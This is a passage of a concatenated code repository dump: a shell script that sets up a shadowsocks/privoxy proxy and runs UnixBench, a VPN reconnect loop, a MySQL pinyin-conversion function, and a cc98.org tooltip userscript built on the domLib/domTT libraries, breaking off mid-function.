http://mirrors.163.com/.help/sources.list.trusty>/etc/apt/sources.list apt-get update apt-get install -y screen python-pip privoxy unzip libssl-dev openssl mkdir -p ~/.pip echo """ [global] index-url = http://pypi.doubanio.com/simple/ [install] trusted-host=pypi.doubanio.com """>~/.pip/pip.conf pip install shadowsocks screen -S ss sslocal ... curl ip.cn --proxy socks5://127.0.0.1:1080 echo """ user-manual /usr/share/doc/privoxy/user-manual confdir /etc/privoxy logdir /var/log/privoxy actionsfile match-all.action actionsfile user.action logfile logfile toggle 1 enable-remote-toggle 0 enable-remote-http-toggle 0 enable-edit-actions 0 enforce-blocks 0 buffer-limit 4096 enable-proxy-authentication-forwarding 0 forwarded-connect-retries 0 accept-intercepted-requests 0 allow-cgi-request-crunching 0 split-large-forms 0 keep-alive-timeout 5 tolerate-pipelining 1 socket-timeout 300 listen-address 127.0.0.1:8118 forward-socks5 / 127.0.0.1:1080 . """>/etc/privoxy/config service privoxy restart curl https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3 --proxy socks5://127.0.0.1:1080 >UnixBench.zip unzip UnixBench.zip cd byte-unixbench-5.1.3/UnixBench ./Run ================================================ FILE: code/pingtest.sh ================================================ #!/bin/bash while [ '1' = '1' ];do ping -c 1 ip.cn &> /dev/null if [ $? -ne 0 ];then ping -c 1 baidu.com &> /dev/null if [ $? -ne 0 ];then zjuvpn -d zjuvpn fi fi date sleep 120 done ================================================ FILE: code/pinyin.sql ================================================ CREATE TABLE IF NOT EXISTS `t_base_pinyin` ( `pin_yin_` varchar(255) CHARACTER SET gbk NOT NULL, `code_` int(11) NOT NULL, PRIMARY KEY (`code_`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; INSERT INTO t_base_pinyin (pin_yin_,code_) VALUES ("a", 20319),("ai", 20317),("an", 20304),("ang", 20295),("ao", 20292),("ba", 20283),("bai", 20265),("ban", 20257),("bang", 20242),("bao", 20230),("bei", 20051),("ben", 20036),("beng", 20032),("bi", 20026),("bian", 20002),("biao", 19990),("bie", 19986),("bin", 19982),("bing", 19976),("bo", 19805),("bu", 19784),("ca", 19775),("cai", 19774),("can", 19763),("cang", 19756),("cao", 19751),("ce", 19746),("ceng", 19741),("cha", 19739),("chai", 19728),("chan", 19725),("chang", 19715),("chao", 19540),("che", 19531),("chen", 19525),("cheng", 19515),("chi", 19500),("chong", 19484),("chou", 19479),("chu", 19467),("chuai", 19289),("chuan", 19288),("chuang", 19281),("chui", 19275),("chun", 19270),("chuo", 19263),("ci", 19261),("cong", 19249),("cou", 19243),("cu", 19242),("cuan", 19238),("cui", 19235),("cun", 19227),("cuo", 19224),("da", 19218),("dai", 19212),("dan", 19038),("dang", 19023),("dao", 19018),("de", 19006),("deng", 19003),("di", 18996),("dian", 18977),("diao", 18961),("die", 18952),("ding", 18783),("diu", 18774),("dong", 18773),("dou", 18763),("du", 18756),("duan", 18741),("dui", 18735),("dun", 18731),("duo", 18722),("e", 18710),("en", 18697),("er", 18696),("fa", 18526),("fan", 18518),("fang", 18501),("fei", 18490),("fen", 18478),("feng", 18463),("fo", 18448),("fou", 18447),("fu", 18446),("ga", 18239),("gai", 18237),("gan", 18231),("gang", 18220),("gao", 18211),("ge", 18201),("gei", 18184),("gen", 18183),("geng", 18181),("gong", 18012),("gou", 17997),("gu", 17988),("gua", 17970),("guai", 17964),("guan", 17961),("guang", 17950),("gui", 17947),("gun", 17931),("guo", 17928),("ha", 17922),("hai", 17759),("han", 17752),("hang", 17733),("hao", 17730),("he", 17721),("hei", 17703),("hen", 17701),("heng", 17697),("hong", 17692),("hou", 17683),("hu", 17676),("hua", 17496),("huai", 17487),("huan", 17482),("huang", 17468),("hui", 17454),("hun", 17433),("huo", 17427),("ji", 17417),("jia", 17202),("jian", 17185),("jiang", 16983),("jiao", 16970),("jie", 16942),("jin", 16915),("jing", 16733),("jiong", 16708),("jiu", 16706),("ju", 16689),("juan", 16664),("jue", 16657),("jun", 16647),("ka", 16474),("kai", 16470),("kan", 16465),("kang", 16459),("kao", 16452),("ke", 16448),("ken", 16433),("keng", 16429),("kong", 16427),("kou", 16423),("ku", 16419),("kua", 16412),("kuai", 16407),("kuan", 16403),("kuang", 16401),("kui", 16393),("kun", 16220),("kuo", 16216),("la", 16212),("lai", 16205),("lan", 16202),("lang", 16187),("lao", 16180),("le", 16171),("lei", 16169),("leng", 16158),("li", 16155),("lia", 15959),("lian", 15958),("liang", 15944),("liao", 15933),("lie", 15920),("lin", 15915),("ling", 15903),("liu", 15889),("long", 15878),("lou", 15707),("lu", 15701),("lv", 15681),("luan", 15667),("lue", 15661),("lun", 15659),("luo", 15652),("ma", 15640),("mai", 15631),("man", 15625),("mang", 15454),("mao", 15448),("me", 15436),("mei", 15435),("men", 15419),("meng", 15416),("mi", 15408),("mian", 15394),("miao", 15385),("mie", 15377),("min", 15375),("ming", 15369),("miu", 15363),("mo", 15362),("mou", 15183),("mu", 15180),("na", 15165),("nai", 15158),("nan", 15153),("nang", 15150),("nao", 15149),("ne", 15144),("nei", 15143),("nen", 15141),("neng", 15140),("ni", 15139),("nian", 15128),("niang", 15121),("niao", 15119),("nie", 15117),("nin", 15110),("ning", 15109),("niu", 14941),("nong", 14937),("nu", 14933),("nv", 14930),("nuan", 14929),("nue", 14928),("nuo", 14926),("o", 14922),("ou", 14921),("pa", 14914),("pai", 14908),("pan", 14902),("pang", 14894),("pao", 14889),("pei", 14882),("pen", 14873),("peng", 14871),("pi", 14857),("pian", 14678),("piao", 14674),("pie", 14670),("pin", 14668),("ping", 14663),("po", 14654),("pu", 14645),("qi", 14630),("qia", 14594),("qian", 14429),("qiang", 14407),("qiao", 14399),("qie", 14384),("qin", 14379),("qing", 14368),("qiong", 14355),("qiu", 14353),("qu", 14345),("quan", 14170),("que", 14159),("qun", 14151),("ran", 14149),("rang", 14145),("rao", 14140),("re", 14137),("ren", 14135),("reng", 14125),("ri", 14123),("rong", 14122),("rou", 14112),("ru", 14109),("ruan", 14099),("rui", 14097),("run", 14094),("ruo", 14092),("sa", 14090),("sai", 14087),("san", 14083),("sang", 13917),("sao", 13914),("se", 13910),("sen", 13907),("seng", 13906),("sha", 13905),("shai", 13896),("shan", 13894),("shang", 13878),("shao", 13870),("she", 13859),("shen", 13847),("sheng", 13831),("shi", 13658),("shou", 13611),("shu", 13601),("shua", 13406),("shuai", 13404),("shuan", 13400),("shuang", 13398),("shui", 13395),("shun", 13391),("shuo", 13387),("si", 13383),("song", 13367),("sou", 13359),("su", 13356),("suan", 13343),("sui", 13340),("sun", 13329),("suo", 13326),("ta", 13318),("tai", 13147),("tan", 13138),("tang", 13120),("tao", 13107),("te", 13096),("teng", 13095),("ti", 13091),("tian", 13076),("tiao", 13068),("tie", 13063),("ting", 13060),("tong", 12888),("tou", 12875),("tu", 12871),("tuan", 12860) ,("tui", 12858),("tun", 12852),("tuo", 12849),("wa", 12838),("wai", 12831),("wan", 12829),("wang", 12812),("wei", 12802),("wen", 12607),("weng", 12597),("wo", 12594),("wu", 12585),("xi", 12556),("xia", 12359),("xian", 12346),("xiang", 12320),("xiao", 12300),("xie", 12120),("xin", 12099),("xing", 12089),("xiong", 12074),("xiu", 12067),("xu", 12058),("xuan", 12039),("xue", 11867),("xun", 11861),("ya", 11847),("yan", 11831),("yang", 11798),("yao", 11781),("ye", 11604),("yi", 11589),("yin", 11536),("ying", 11358),("yo", 11340),("yong", 11339),("you", 11324),("yu", 11303),("yuan", 11097),("yue", 11077),("yun", 11067),("za", 11055),("zai", 11052),("zan", 11045),("zang", 11041),("zao", 11038),("ze", 11024),("zei", 11020),("zen", 11019),("zeng", 11018),("zha", 11014),("zhai", 10838),("zhan", 10832),("zhang", 10815),("zhao", 10800),("zhe", 10790),("zhen", 10780),("zheng", 10764),("zhi", 10587),("zhong", 10544),("zhou", 10533),("zhu", 10519),("zhua", 10331),("zhuai", 10329),("zhuan", 10328),("zhuang", 10322),("zhui", 10315),("zhun", 10309),("zhuo", 10307),("zi", 10296),("zong", 10281),("zou", 10274),("zu", 10270),("zuan", 10262),("zui", 10260),("zun", 10256),("zuo", 10254); DROP FUNCTION IF EXISTS to_pinyin; DELIMITER $ CREATE FUNCTION to_pinyin(NAME VARCHAR(255) CHARSET gbk) RETURNS VARCHAR(255) CHARSET gbk READS SQL DATA BEGIN DECLARE mycode INT; DECLARE tmp_lcode VARCHAR(2) CHARSET gbk; DECLARE lcode INT; DECLARE tmp_rcode VARCHAR(2) CHARSET gbk; DECLARE rcode INT; DECLARE mypy VARCHAR(255) CHARSET gbk DEFAULT ''; DECLARE lp INT; SET mycode = 0; SET lp = 1; SET NAME = HEX(NAME); WHILE lp < LENGTH(NAME) DO SET tmp_lcode = SUBSTRING(NAME, lp, 2); SET lcode = CAST(ASCII(UNHEX(tmp_lcode)) AS UNSIGNED); SET tmp_rcode = SUBSTRING(NAME, lp + 2, 2); SET rcode = CAST(ASCII(UNHEX(tmp_rcode)) AS UNSIGNED); IF lcode > 128 THEN SET mycode =65536 - lcode * 256 - rcode ; SELECT CONCAT(mypy,pin_yin_) INTO mypy FROM t_base_pinyin WHERE CODE_ >= ABS(mycode) ORDER BY CODE_ ASC LIMIT 1; SET lp = lp + 4; ELSE SET mypy = CONCAT(mypy,CHAR(CAST(ASCII(UNHEX(SUBSTRING(NAME, lp, 2))) AS UNSIGNED))); SET lp = lp + 2; END IF; END WHILE; RETURN LOWER(mypy); END; $ DELIMITER ; select to_pinyin('测试'); ================================================ FILE: code/randomstring.html ================================================ ================================================ FILE: code/showtiponcc98.user.js ================================================ // ==UserScript== // @name show tip on cc98.org // @version 0.4.2 // @author chenyuan // @namespace cc98.tech // @description show tip on cc98.org recent page, by requesting cc98.tech // @include https://www.cc98.org/* // @include http://www.cc98.org/* // @connect cc98.tech // @grant GM_xmlhttpRequest // @grant GM_addStyle // ==/UserScript== /** $Id: domLib.js 2321 2006-06-12 06:45:41Z dallen $ */ // {{{ license /* * Copyright 2002-2005 Dan Allen, Mojavelinux.com (dan.allen@mojavelinux.com) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // }}} // {{{ intro /** * Title: DOM Library Core * Version: 0.70 * * Summary: * A set of commonly used functions that make it easier to create javascript * applications that rely on the DOM. * * Updated: 2005/05/17 * * Maintainer: Dan Allen * Maintainer: Jason Rust * * License: Apache 2.0 */ // }}} // {{{ global constants (DO NOT EDIT) // -- Browser Detection -- var domLib_userAgent = navigator.userAgent.toLowerCase(); var domLib_isMac = navigator.appVersion.indexOf('Mac') != -1; var domLib_isWin = domLib_userAgent.indexOf('windows') != -1; // NOTE: could use window.opera for detecting Opera var domLib_isOpera = domLib_userAgent.indexOf('opera') != -1; var domLib_isOpera7up = domLib_userAgent.match(/opera.(7|8)/i); var domLib_isSafari = domLib_userAgent.indexOf('safari') != -1; var domLib_isKonq = domLib_userAgent.indexOf('konqueror') != -1; // Both konqueror and safari use the khtml rendering engine var domLib_isKHTML = (domLib_isKonq || domLib_isSafari || domLib_userAgent.indexOf('khtml') != -1); var domLib_isIE = (!domLib_isKHTML && !domLib_isOpera && (domLib_userAgent.indexOf('msie 5') != -1 || domLib_userAgent.indexOf('msie 6') != -1 || domLib_userAgent.indexOf('msie 7') != -1)); var domLib_isIE5up = domLib_isIE; var domLib_isIE50 = (domLib_isIE && domLib_userAgent.indexOf('msie 5.0') != -1); var domLib_isIE55 = (domLib_isIE && domLib_userAgent.indexOf('msie 5.5') != -1); var domLib_isIE5 = (domLib_isIE50 || domLib_isIE55); // safari and konq may use string "khtml, like gecko", so check for destinctive / var domLib_isGecko = domLib_userAgent.indexOf('gecko/') != -1; var domLib_isMacIE = (domLib_isIE && domLib_isMac); var domLib_isIE55up = domLib_isIE5up && !domLib_isIE50 && !domLib_isMacIE; var domLib_isIE6up = domLib_isIE55up && !domLib_isIE55; // -- Browser Abilities -- var domLib_standardsMode = (document.compatMode && document.compatMode == 'CSS1Compat'); var domLib_useLibrary = (domLib_isOpera7up || domLib_isKHTML || domLib_isIE5up || domLib_isGecko || domLib_isMacIE || document.defaultView); // fixed in Konq3.2 var domLib_hasBrokenTimeout = (domLib_isMacIE || (domLib_isKonq && domLib_userAgent.match(/konqueror\/3.([2-9])/) == null)); var domLib_canFade = (domLib_isGecko || domLib_isIE || domLib_isSafari || domLib_isOpera); var domLib_canDrawOverSelect = (domLib_isMac || domLib_isOpera || domLib_isGecko); var domLib_canDrawOverFlash = (domLib_isMac || domLib_isWin); // -- Event Variables -- var domLib_eventTarget = domLib_isIE ? 'srcElement' : 'currentTarget'; var domLib_eventButton = domLib_isIE ? 'button' : 'which'; var domLib_eventTo = domLib_isIE ? 'toElement' : 'relatedTarget'; var domLib_stylePointer = domLib_isIE ? 'hand' : 'pointer'; // NOTE: a bug exists in Opera that prevents maxWidth from being set to 'none', so we make it huge var domLib_styleNoMaxWidth = domLib_isOpera ? '10000px' : 'none'; var domLib_hidePosition = '-1000px'; var domLib_scrollbarWidth = 14; var domLib_autoId = 1; var domLib_zIndex = 100; // -- Detection -- var domLib_collisionElements; var domLib_collisionsCached = false; var domLib_timeoutStateId = 0; var domLib_timeoutStates = new Hash(); // }}} // {{{ DOM enhancements if (!document.ELEMENT_NODE) { document.ELEMENT_NODE = 1; document.ATTRIBUTE_NODE = 2; document.TEXT_NODE = 3; document.DOCUMENT_NODE = 9; document.DOCUMENT_FRAGMENT_NODE = 11; } function domLib_clone(obj) { var copy = {}; for (var i in obj) { var value = obj[i]; try { if (value != null && typeof(value) == 'object' && value != window && !value.nodeType) { copy[i] = domLib_clone(value); } else { copy[i] = value; } } catch(e) { copy[i] = value; } } return copy; } // }}} // {{{ class Hash() function Hash() { this.length = 0; this.numericLength = 0; this.elementData = []; for (var i = 0; i < arguments.length; i += 2) { if (typeof(arguments[i + 1]) != 'undefined') { this.elementData[arguments[i]] = arguments[i + 1]; this.length++; if (arguments[i] == parseInt(arguments[i])) { this.numericLength++; } } } } // using prototype as opposed to inner functions saves on memory Hash.prototype.get = function(in_key) { if (typeof(this.elementData[in_key]) != 'undefined') { return this.elementData[in_key]; } return null; } Hash.prototype.set = function(in_key, in_value) { if (typeof(in_value) != 'undefined') { if (typeof(this.elementData[in_key]) == 'undefined') { this.length++; if (in_key == parseInt(in_key)) { this.numericLength++; } } return this.elementData[in_key] = in_value; } return false; } Hash.prototype.remove = function(in_key) { var tmp_value; if (typeof(this.elementData[in_key]) != 'undefined') { this.length--; if (in_key == parseInt(in_key)) { this.numericLength--; } tmp_value = this.elementData[in_key]; delete this.elementData[in_key]; } return tmp_value; } Hash.prototype.size = function() { return this.length; } Hash.prototype.has = function(in_key) { return typeof(this.elementData[in_key]) != 'undefined'; } Hash.prototype.find = function(in_obj) { for (var tmp_key in this.elementData) { if (this.elementData[tmp_key] == in_obj) { return tmp_key; } } return null; } Hash.prototype.merge = function(in_hash) { for (var tmp_key in in_hash.elementData) { if (typeof(this.elementData[tmp_key]) == 'undefined') { this.length++; if (tmp_key == parseInt(tmp_key)) { this.numericLength++; } } this.elementData[tmp_key] = in_hash.elementData[tmp_key]; } } Hash.prototype.compare = function(in_hash) { if (this.length != in_hash.length) { return false; } for (var tmp_key in this.elementData) { if (this.elementData[tmp_key] != in_hash.elementData[tmp_key]) { return false; } } return true; } // }}} // {{{ domLib_isDescendantOf() function domLib_isDescendantOf(in_object, in_ancestor, in_bannedTags) { if (in_object == null) { return false; } if (in_object == in_ancestor) { return true; } if (typeof(in_bannedTags) != 'undefined' && (',' + in_bannedTags.join(',') + ',').indexOf(',' + in_object.tagName + ',') != -1) { return false; } while (in_object != document.documentElement) { try { if ((tmp_object = in_object.offsetParent) && tmp_object == in_ancestor) { return true; } else if ((tmp_object = in_object.parentNode) == in_ancestor) { return true; } else { in_object = tmp_object; } } // in case we get some wierd error, assume we left the building catch(e) { return false; } } return false; } // }}} // {{{ domLib_detectCollisions() /** * For any given target element, determine if elements on the page * are colliding with it that do not obey the rules of z-index. */ function domLib_detectCollisions(in_object, in_recover, in_useCache) { // the reason for the cache is that if the root menu is built before // the page is done loading, then it might not find all the elements. // so really the only time you don't use cache is when building the // menu as part of the page load if (!domLib_collisionsCached) { var tags = []; if (!domLib_canDrawOverFlash) { tags[tags.length] = 'object'; } if (!domLib_canDrawOverSelect) { tags[tags.length] = 'select'; } domLib_collisionElements = domLib_getElementsByTagNames(tags, true); domLib_collisionsCached = in_useCache; } // if we don't have a tip, then unhide selects if (in_recover) { for (var cnt = 0; cnt < domLib_collisionElements.length; cnt++) { var thisElement = domLib_collisionElements[cnt]; if (!thisElement.hideList) { thisElement.hideList = new Hash(); } thisElement.hideList.remove(in_object.id); if (!thisElement.hideList.length) { domLib_collisionElements[cnt].style.visibility = 'visible'; if (domLib_isKonq) { domLib_collisionElements[cnt].style.display = ''; } } } return; } else if (domLib_collisionElements.length == 0) { return; } // okay, we have a tip, so hunt and destroy var objectOffsets = domLib_getOffsets(in_object); for (var cnt = 0; cnt < domLib_collisionElements.length; cnt++) { var thisElement = domLib_collisionElements[cnt]; // if collision element is in active element, move on // WARNING: is this too costly? if (domLib_isDescendantOf(thisElement, in_object)) { continue; } // konqueror only has trouble with multirow selects if (domLib_isKonq && thisElement.tagName == 'SELECT' && (thisElement.size <= 1 && !thisElement.multiple)) { continue; } if (!thisElement.hideList) { thisElement.hideList = new Hash(); } var selectOffsets = domLib_getOffsets(thisElement); var center2centerDistance = Math.sqrt(Math.pow(selectOffsets.get('leftCenter') - objectOffsets.get('leftCenter'), 2) + Math.pow(selectOffsets.get('topCenter') - objectOffsets.get('topCenter'), 2)); var radiusSum = selectOffsets.get('radius') + objectOffsets.get('radius'); // the encompassing circles are overlapping, get in for a closer look if (center2centerDistance < radiusSum) { // tip is left of select if ((objectOffsets.get('leftCenter') <= selectOffsets.get('leftCenter') && objectOffsets.get('right') < selectOffsets.get('left')) || // tip is right of select (objectOffsets.get('leftCenter') > selectOffsets.get('leftCenter') && objectOffsets.get('left') > selectOffsets.get('right')) || // tip is above select (objectOffsets.get('topCenter') <= selectOffsets.get('topCenter') && objectOffsets.get('bottom') < selectOffsets.get('top')) || // tip is below select (objectOffsets.get('topCenter') > selectOffsets.get('topCenter') && objectOffsets.get('top') > selectOffsets.get('bottom'))) { thisElement.hideList.remove(in_object.id); if (!thisElement.hideList.length) { thisElement.style.visibility = 'visible'; if (domLib_isKonq) { thisElement.style.display = ''; } } } else { thisElement.hideList.set(in_object.id, true); thisElement.style.visibility = 'hidden'; if (domLib_isKonq) { thisElement.style.display = 'none'; } } } } } // }}} // {{{ domLib_getOffsets() function domLib_getOffsets(in_object, in_preserveScroll) { if (typeof(in_preserveScroll) == 'undefined') { in_preserveScroll = false; } var originalObject = in_object; var originalWidth = in_object.offsetWidth; var originalHeight = in_object.offsetHeight; var offsetLeft = 0; var offsetTop = 0; while (in_object) { offsetLeft += in_object.offsetLeft; offsetTop += in_object.offsetTop; in_object = in_object.offsetParent; // consider scroll offset of parent elements if (in_object && !in_preserveScroll) { offsetLeft -= in_object.scrollLeft; offsetTop -= in_object.scrollTop; } } // MacIE misreports the offsets (even with margin: 0 in body{}), still not perfect if (domLib_isMacIE) { offsetLeft += 10; offsetTop += 10; } return new Hash( 'left', offsetLeft, 'top', offsetTop, 'right', offsetLeft + originalWidth, 'bottom', offsetTop + originalHeight, 'leftCenter', offsetLeft + originalWidth/2, 'topCenter', offsetTop + originalHeight/2, 'radius', Math.max(originalWidth, originalHeight) ); } // }}} // {{{ domLib_setTimeout() function domLib_setTimeout(in_function, in_timeout, in_args) { if (typeof(in_args) == 'undefined') { in_args = []; } if (in_timeout == -1) { // timeout event is disabled return 0; } else if (in_timeout == 0) { in_function(in_args); return 0; } // must make a copy of the arguments so that we release the reference var args = domLib_clone(in_args); if (!domLib_hasBrokenTimeout) { return setTimeout(function() { in_function(args); }, in_timeout); } else { var id = domLib_timeoutStateId++; var data = new Hash(); data.set('function', in_function); data.set('args', args); domLib_timeoutStates.set(id, data); data.set('timeoutId', setTimeout('domLib_timeoutStates.get(' + id + ').get(\'function\')(domLib_timeoutStates.get(' + id + ').get(\'args\')); domLib_timeoutStates.remove(' + id + ');', in_timeout)); return id; } } // }}} // {{{ domLib_clearTimeout() function domLib_clearTimeout(in_id) { if (!domLib_hasBrokenTimeout) { if (in_id > 0) { clearTimeout(in_id); } } else { if (domLib_timeoutStates.has(in_id)) { clearTimeout(domLib_timeoutStates.get(in_id).get('timeoutId')) domLib_timeoutStates.remove(in_id); } } } // }}} // {{{ domLib_getEventPosition() function domLib_getEventPosition(in_eventObj) { var eventPosition = new Hash('x', 0, 'y', 0, 'scrollX', 0, 'scrollY', 0); // IE varies depending on standard compliance mode if (domLib_isIE) { var doc = (domLib_standardsMode ? document.documentElement : document.body); // NOTE: events may fire before the body has been loaded if (doc) { eventPosition.set('x', in_eventObj.clientX + doc.scrollLeft); eventPosition.set('y', in_eventObj.clientY + doc.scrollTop); eventPosition.set('scrollX', doc.scrollLeft); eventPosition.set('scrollY', doc.scrollTop); } } else { eventPosition.set('x', in_eventObj.pageX); eventPosition.set('y', in_eventObj.pageY); eventPosition.set('scrollX', in_eventObj.pageX - in_eventObj.clientX); eventPosition.set('scrollY', in_eventObj.pageY - in_eventObj.clientY); } return eventPosition; } // }}} // {{{ domLib_cancelBubble() function domLib_cancelBubble(in_event) { var eventObj = in_event ? in_event : window.event; eventObj.cancelBubble = true; } // }}} // {{{ domLib_getIFrameReference() function domLib_getIFrameReference(in_frame) { if (domLib_isGecko || domLib_isIE) { return in_frame.frameElement; } else { // we could either do it this way or require an id on the frame // equivalent to the name var name = in_frame.name; if (!name || !in_frame.parent) { return null; } var candidates = in_frame.parent.document.getElementsByTagName('iframe'); for (var i = 0; i < candidates.length; i++) { if (candidates[i].name == name) { return candidates[i]; } } return null; } } // }}} // {{{ domLib_getElementsByClass() function domLib_getElementsByClass(in_class) { var elements = domLib_isIE5 ? document.all : document.getElementsByTagName('*'); var matches = []; var cnt = 0; for (var i = 0; i < elements.length; i++) { if ((" " + elements[i].className + " ").indexOf(" " + in_class + " ") != -1) { matches[cnt++] = elements[i]; } } return matches; } // }}} // {{{ domLib_getElementsByTagNames() function domLib_getElementsByTagNames(in_list, in_excludeHidden) { var elements = []; for (var i = 0; i < in_list.length; i++) { var matches = document.getElementsByTagName(in_list[i]); for (var j = 0; j < matches.length; j++) { // skip objects that have nested embeds, or else we get "flashing" if (matches[j].tagName == 'OBJECT' && domLib_isGecko) { var kids = matches[j].childNodes; var skip = false; for (var k = 0; k < kids.length; k++) { if (kids[k].tagName == 'EMBED') { skip = true; break; } } if (skip) continue; } if (in_excludeHidden && domLib_getComputedStyle(matches[j], 'visibility') == 'hidden') { continue; } elements[elements.length] = matches[j]; } } return elements; } // }}} // {{{ domLib_getComputedStyle() function domLib_getComputedStyle(in_obj, in_property) { if (domLib_isIE) { var humpBackProp = in_property.replace(/-(.)/, function (a, b) { return b.toUpperCase(); }); return eval('in_obj.currentStyle.' + humpBackProp); } // getComputedStyle() is broken in konqueror, so let's go for the style object else if (domLib_isKonq) { //var humpBackProp = in_property.replace(/-(.)/, function (a, b) { return b.toUpperCase(); }); return eval('in_obj.style.' + in_property); } else { return document.defaultView.getComputedStyle(in_obj, null).getPropertyValue(in_property); } } // }}} // {{{ makeTrue() function makeTrue() { return true; } // }}} // {{{ makeFalse() function makeFalse() { return false; } // }}} /** $Id: domTT.js 2324 2006-06-12 07:06:39Z dallen $ */ // {{{ license /* * Copyright 2002-2005 Dan Allen, Mojavelinux.com (dan.allen@mojavelinux.com) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // }}} // {{{ intro /** * Title: DOM Tooltip Library * Version: 0.7.3 * * Summary: * Allows developers to add custom tooltips to the webpages. Tooltips are * generated using the domTT_activate() function and customized by setting * a handful of options. * * Maintainer: Dan Allen * Contributors: * Josh Gross * Jason Rust * * License: Apache 2.0 * However, if you use this library, you earn the position of official bug * reporter :) Please post questions or problem reports to the newsgroup: * * http://groups-beta.google.com/group/dom-tooltip * * If you are doing this for commercial work, perhaps you could send me a few * Starbucks Coffee gift dollars or PayPal bucks to encourage future * developement (NOT REQUIRED). E-mail me for my snail mail address. * * Homepage: http://www.mojavelinux.com/projects/domtooltip/ * * Newsgroup: http://groups-beta.google.com/group/dom-tooltip * * Freshmeat Project: http://freshmeat.net/projects/domtt/?topic_id=92 * * Updated: 2005/07/16 * * Supported Browsers: * Mozilla (Gecko), IE 5.5+, IE on Mac, Safari, Konqueror, Opera 7 * * Usage: * Please see the HOWTO documentation. **/ // }}} // {{{ settings (editable) // IE mouse events seem to be off by 2 pixels var domTT_offsetX = (domLib_isIE ? -2 : 0); var domTT_offsetY = (domLib_isIE ? 4 : 2); var domTT_direction = 'southeast'; var domTT_mouseHeight = domLib_isIE ? 13 : 19; var domTT_closeLink = 'X'; var domTT_closeAction = 'hide'; var domTT_activateDelay = 500; var domTT_maxWidth = false; var domTT_styleClass = 'domTT'; var domTT_fade = 'neither'; var domTT_lifetime = 0; var domTT_grid = 0; var domTT_trailDelay = 200; var domTT_useGlobalMousePosition = true; var domTT_postponeActivation = false; var domTT_tooltipIdPrefix = '[domTT]'; var domTT_screenEdgeDetection = true; var domTT_screenEdgePadding = 4; var domTT_oneOnly = true; var domTT_cloneNodes = false; var domTT_detectCollisions = true; var domTT_bannedTags = ['OPTION']; var domTT_draggable = false; if (typeof(domTT_dragEnabled) == 'undefined') { domTT_dragEnabled = false; } // }}} // {{{ globals (DO NOT EDIT) var domTT_predefined = new Hash(); // tooltips are keyed on both the tip id and the owner id, // since events can originate on either object var domTT_tooltips = new Hash(); var domTT_lastOpened = 0; var domTT_documentLoaded = false; var domTT_mousePosition = null; // }}} // {{{ document.onmousemove if (domLib_useLibrary && domTT_useGlobalMousePosition) { document.onmousemove = function(in_event) { if (typeof(in_event) == 'undefined') { in_event = window.event; } domTT_mousePosition = domLib_getEventPosition(in_event); if (domTT_dragEnabled && domTT_dragMouseDown) { domTT_dragUpdate(in_event); } } } // }}} // {{{ domTT_activate() function domTT_activate(in_this, in_event) { if (!domLib_useLibrary || (domTT_postponeActivation && !domTT_documentLoaded)) { return false; } // make sure in_event is set (for IE, some cases we have to use window.event) if (typeof(in_event) == 'undefined') { in_event = window.event; } // don't allow tooltips on banned tags (such as OPTION) if (in_event != null) { var target = in_event.srcElement ? in_event.srcElement : in_event.target; if (target != null && (',' + domTT_bannedTags.join(',') + ',').indexOf(',' + target.tagName + ',') != -1) { return false; } } var owner = document.body; // we have an active event so get the owner if (in_event != null && in_event.type.match(/key|mouse|click|contextmenu/i)) { // make sure we have nothing higher than the body element if (in_this.nodeType && in_this.nodeType != document.DOCUMENT_NODE) { owner = in_this; } } // non active event (make sure we were passed a string id) else { if (typeof(in_this) != 'object' && !(owner = domTT_tooltips.get(in_this))) { // NOTE: two steps to avoid "flashing" in gecko var embryo = document.createElement('div'); owner = document.body.appendChild(embryo); owner.style.display = 'none'; owner.id = in_this; } } // make sure the owner has a unique id if (!owner.id) { owner.id = '__autoId' + domLib_autoId++; } // see if we should only be opening one tip at a time // NOTE: this is not "perfect" yet since it really steps on any other // tip working on fade out or delayed close, but it get's the job done if (domTT_oneOnly && domTT_lastOpened) { domTT_deactivate(domTT_lastOpened); } domTT_lastOpened = owner.id; var tooltip = domTT_tooltips.get(owner.id); if (tooltip) { if (tooltip.get('eventType') != in_event.type) { if (tooltip.get('type') == 'greasy') { tooltip.set('closeAction', 'destroy'); domTT_deactivate(owner.id); } else if (tooltip.get('status') != 'inactive') { return owner.id; } } else { if (tooltip.get('status') == 'inactive') { tooltip.set('status', 'pending'); tooltip.set('activateTimeout', domLib_setTimeout(domTT_runShow, tooltip.get('delay'), [owner.id, in_event])); return owner.id; } // either pending or active, let it be else { return owner.id; } } } // setup the default options hash var options = new Hash( 'caption', '', 'content', '', 'clearMouse', true, 'closeAction', domTT_closeAction, 'closeLink', domTT_closeLink, 'delay', domTT_activateDelay, 'direction', domTT_direction, 'draggable', domTT_draggable, 'fade', domTT_fade, 'fadeMax', 100, 'grid', domTT_grid, 'id', domTT_tooltipIdPrefix + owner.id, 'inframe', false, 'lifetime', domTT_lifetime, 'offsetX', domTT_offsetX, 'offsetY', domTT_offsetY, 'parent', document.body, 'position', 'absolute', 'styleClass', domTT_styleClass, 'type', 'greasy', 'trail', false, 'lazy', false ); // load in the options from the function call for (var i = 2; i < arguments.length; i += 2) { // load in predefined if (arguments[i] == 'predefined') { var predefinedOptions = domTT_predefined.get(arguments[i + 1]); for (var j in predefinedOptions.elementData) { options.set(j, predefinedOptions.get(j)); } } // set option else { options.set(arguments[i], arguments[i + 1]); } } options.set('eventType', in_event != null ? in_event.type : null); // immediately set the status text if provided if (options.has('statusText')) { try { window.status = options.get('statusText'); } catch(e) {} } // if we didn't give content...assume we just wanted to change the status and return if (!options.has('content') || options.get('content') == '' || options.get('content') == null) { if (typeof(owner.onmouseout) != 'function') { owner.onmouseout = function(in_event) { domTT_mouseout(this, in_event); }; } return owner.id; } options.set('owner', owner); domTT_create(options); // determine the show delay options.set('delay', (in_event != null && 